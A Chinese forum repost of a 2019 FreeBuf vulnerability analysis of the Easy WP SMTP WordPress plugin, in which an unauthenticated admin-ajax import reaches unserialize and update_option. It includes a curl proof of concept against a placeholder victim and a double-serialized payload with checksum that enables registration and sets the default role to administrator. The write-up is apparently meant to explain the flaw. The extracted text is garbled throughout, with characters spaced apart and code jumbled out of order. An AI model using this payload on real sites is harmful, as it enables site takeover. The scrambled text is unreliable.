搜索

[13951] 2019-04-05_WordPress插件EasyWPSMTP反序列化漏洞分析

文档创建者：s7ckTeam
浏览次数：52
最后更新：2025-01-18
2019-04-05_WordPress插件EasyWPSMTP反序列化漏洞分析 W o r d P r e s s 插 件 E a s y   W P   S M T P 反 序 列 化 漏 洞 分 析 d a w n e r   F r e e B u f   2 0 1 9 - 0 4 - 0 5 W o r d p r e s s   插 件 插 件   E a s y   W P   S M T P   最 近 新 出 了 个 漏 洞 ， 以 前 有 分 析 过 。 不 过 新 的 代 码 最 近 新 出 了 个 漏 洞 ， 以 前 有 分 析 过 。 不 过 新 的 代 码 好 像 变 化 有 点 大 ， 所 以 这 变 化 有 点 大 ， 所 以 这 里 花 了 点 时 间 简 单 看 看 。 里 花 了 点 时 间 简 单 看 看 。 首 先 ， 这 个 漏 洞 存 在 于 版 本   v 1 . 3 . 9 。 我 这 里 能 下 到 最 接 近 的 老 版 本 是   v 1 . 3 . 8 ， 可 惜   v 1 . 3 . 9   更 迭 了 一 些 重 要 代 码 ， 我 找 到 的 版 本 ， 应 该 不 能 复 现 这 个 漏 洞 。 下 面 我 会 根 据 网 上 一 些 细 节 进 行 分 析 ， 没 耐 心 的 大 佬 可 以 直 接 跳 到 最 后 ， 看 原 版 的 分 析 。 关 键 函 数 位 置 在 ： 这 里 的 函 数 ， 可 以 在 用 户 登 入   a d m i n   界 面 时 进 行   h o o k ， 本 来 是 用 来 查 看 删 除 日 志 ， 导 入 / 删 除 / 更 新 数 据 库 里 的 配 置 的 。 然 而 他 这 里 没 有 对 用 户 权 限 做 严 格 的 验 证 ， 甚 至 没 有 认 证 过 的 游 客 一 样 可 以 触 发 这 个 漏 洞 。 / w p - a d m i n / a d m i n . p h p   的 注 释 里 对   a d m i n _ i n i t   解 释 道 ： 我 们 这 里 在   a d m i n - a j a x . p h p   处 ， 为 了 触 发 漏 洞 ， 发 送 了   a c t i o n = s w p s m t p _ c l e a r _ l o g   的   a j a x   交 互 请 求 ： 网 上 给 出 的   p o c ： 网 上 的   p o c   是 利 用 函 数 中 的 一 个 导 入 配 置 文 件 的 功 能 ： w p - c o n t e n t / p l u g i n s / e a s y - w p - s m t p / e a s y - w p - s m t p . p h p : : a d m i n _ i n i t N o t e ,   t h i s   d o e s   n o t   j u s t   r u n   o n   u s e r - f a c i n g   a d m i n   s c r e e n s .   I t   r u n s   o n   a d m i n - a j a x . p h p   a n d   a d m i n - p o s t . p h p   a s   w e l l . $   c u r l   h t t p s : / / V I C T I M . C O M / w p - a d m i n / a d m i n - a j a x . p h p   - F   ' a c t i o n = s w p s m t p _ c l e a r _ l o g '   - F   ' s w p s m t p _ i m p o r t _ s e t t i n g s = 1 '   - F   ' s w p s m t p _ i m p o r t _ s e t t i n g s _ f i l e = @ / t m p / u p l o a d . t x t ' $ i n _ r a w   =   f i l e _ g e t _ c o n t e n t s (   $ _ F I L E S [   ' s w p s m t p _ i m p o r t _ s e t t i n g s _ f i l e '   ] [   ' t m p _ n a m e '   ]   ) ;
在 导 入 以 后 ， 他 会 对 文 件 内 容 进 行 一 个 反 序 列 化 解 析 ： 我 们 可 以 使 用 下 面 的   a r r a y : 序 列 化 以 后 成 为 ： 再 次 组 合   a r r a y ： 第 二 次 序 列 化 后 ， 将 下 面 的 结 果 ， 存 入 我 们 要 上 传 的 文 件 / t m p / u p l o a d . t x t   里 ： 简 单 说 下 ， 为 何 要 这 么 构 造 呢 ， 因 为 我 们 的 插 件 代 码 里 有 这 么 一 段 ： 我 们 可 以 看 到 ， 需 要 绕 过 两 个 部 分 ： 经 过 两 次 反 序 列 化 的 结 果 后 ， d a t a   的 内 容 ， 也 就 是 下 面 的 数 组 ： 才 能 分 拆 为   k e y - v a l u e ， 进 入 后 续 函 数 ： u s e r s _ c a n _ r e g i s t e r   是 配 置 的 注 册 启 用 选 项 ， d e f a u l t _ r o l e   是 默 认 权 限 。 附 上 数 据 库   w p _ o p t i o n s   表 查 询 的 最 初 始 的 默 认 结 果 ： $ i n   =   u n s e r i a l i z e (   $ i n _ r a w   ) ; {     [ " u s e r s _ c a n _ r e g i s t e r " ] = >     s t r i n g ( 1 )   " 1 "     [ " d e f a u l t _ r o l e " ] = >     s t r i n g ( 1 3 )   " a d m i n i s t r a t o r " } " a : 2 : { s : 1 8 : " u s e r s _ c a n _ r e g i s t e r " ; s : 1 : " 1 " ; s : 1 2 : " d e f a u l t _ r o l e " ; s : 1 3 : " a d m i n i s t r a t o r " ; } " {     [ " d a t a " ] = >     s t r i n g ( 8 1 )   " a : 2 : { s : 1 8 : " u s e r s _ c a n _ r e g i s t e r " ; s : 1 : " 1 " ; s : 1 2 : " d e f a u l t _ r o l e " ; s : 1 3 : " a d m i n i s t r a t o r " ; } "     [ " c h e c k s u m " ] = >     s t r i n g ( 3 2 )   " 3 c e 5 f b 6 d 7 b 1 d b d 6 2 5 2 f 4 b 5 b 3 5 2 6 6 5 0 c 8 " } a : 2 : { s : 4 : " d a t a " ; s : 8 1 : " a : 2 : { s : 1 8 : " u s e r s _ c a n _ r e g i s t e r " ; s : 1 : " 1 " ; s : 1 2 : " d e f a u l t _ r o l e " ; s : 1 3 : " a d m i n i s t r a t o r " ; } " ; s : 8 : " c h e c k s u m " ; s : 3 2 : " 3 c e 5 f b 6 d 7 b 1 d b d 6 2 5 2 f 4 b 5 b 3 5 2 6 6 5 0 c 8 " ; } $ i n   =   u n s e r i a l i z e (   $ i n _ r a w   ) ; i f   (   e m p t y (   $ i n [   ' d a t a '   ]   )   )   {   e c h o   $ e r r _ m s g ;           w p _ d i e ( ) ; } i f   (   e m p t y (   $ i n [   ' c h e c k s u m '   ]   )   )   {   e c h o   $ e r r _ m s g ;           w p _ d i e ( ) ; } i f   (   m d 5 (   $ i n [   ' d a t a '   ]   )   ! = =   $ i n [   ' c h e c k s u m '   ]   )   {   e c h o   $ e r r _ m s g ;           w p _ d i e ( ) ; } u n s e r i a l i z e (   $ i n _ r a w   ) ; u n s e r i a l i z e (   $ i n [ ' d a t a ' ]   ) {     [ " u s e r s _ c a n _ r e g i s t e r " ] = >     s t r i n g ( 1 )   " 1 "     [ " d e f a u l t _ r o l e " ] = >     s t r i n g ( 1 3 )   " a d m i n i s t r a t o r " } f o r e a c h   (   $ d a t a   a s   $ k e y   = >   $ v a l u e   )   {                 u p d a t e _ o p t i o n (   $ k e y ,   $ v a l u e   ) ; }
        到 这 里 就 明 了 了 ， 开 启 注 册 后 ， 我 们 注 册 的 普 通 用 户 都 是 管 理 权 限 ， 没 必 要 去 取 原 来 的 管 理 密 码 ， 反 正 也 解 不 出 来 … 下 面 我 们 可 以 跟 到 更 新 数 据 库 配 置 的 位 置 ， 这 就 已 经 到 主   b r a n c h   了 ： 我 们 可 以 看 到 ， 里 面 的   k e y ， v a l u e   的 值 经 过 下 面 的 函 数 过 滤 ， 对 序 列 化 和 拼 接 做 了 限 制 ， 再 者 使 用 的 $ w p d b   进 行   s q l 执 行   u p d a t e ， 可 以 操 作 的 地 方 就 比 较 有 限 了 ： 手 慢 很 少 写 分 析 漏 洞 文 章 ， 可 能 略 显 啰 嗦 。 只 是 为 了 给 小 白 解 释 的 清 楚 些 ， 大 佬 们 见 谅 。 引 用 文 章 ： 引 用 文 章 ： C r i t i c a l   z e r o - d a y   v u l n e r a b i l i t y   f i x e d   i n   W o r d P r e s s   E a s y   W P   S M T P   p l u g i n . * 本 文 作 者 ： d a w n e r ， 转 载 请 注 明 来 自 F r e e B u f . C O M / w p - i n c l u d e s / o p t i o n . p h p : : u p d a t e _ o p t i o n $ v a l u e   =   a p p l y _ f i l t e r s (   " p r e _ u p d a t e _ o p t i o n _ { $ o p t i o n } " ,   $ v a l u e ,   $ o l d _ v a l u e ,   $ o p t i o n   ) ; $ v a l u e   =   a p p l y _ f i l t e r s (   ' p r e _ u p d a t e _ o p t i o n ' ,   $ v a l u e ,   $ o p t i o n ,   $ o l d _ v a l u e   ) ; i f   (   $ v a l u e   = = =   $ o l d _ v a l u e   | |   m a y b e _ s e r i a l i z e (   $ v a l u e   )   = = =   m a y b e _ s e r i a l i z e (   $ o l d _ v a l u e   )   )   {         r e t u r n   f a l s e ; } $ r e s u l t   =   $ w p d b - > u p d a t e (   $ w p d b - > o p t i o n s ,   $ u p d a t e _ a r g s ,   a r r a y (   ' o p t i o n _ n a m e '   = >   $ o p t i o n   )   ) ;
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理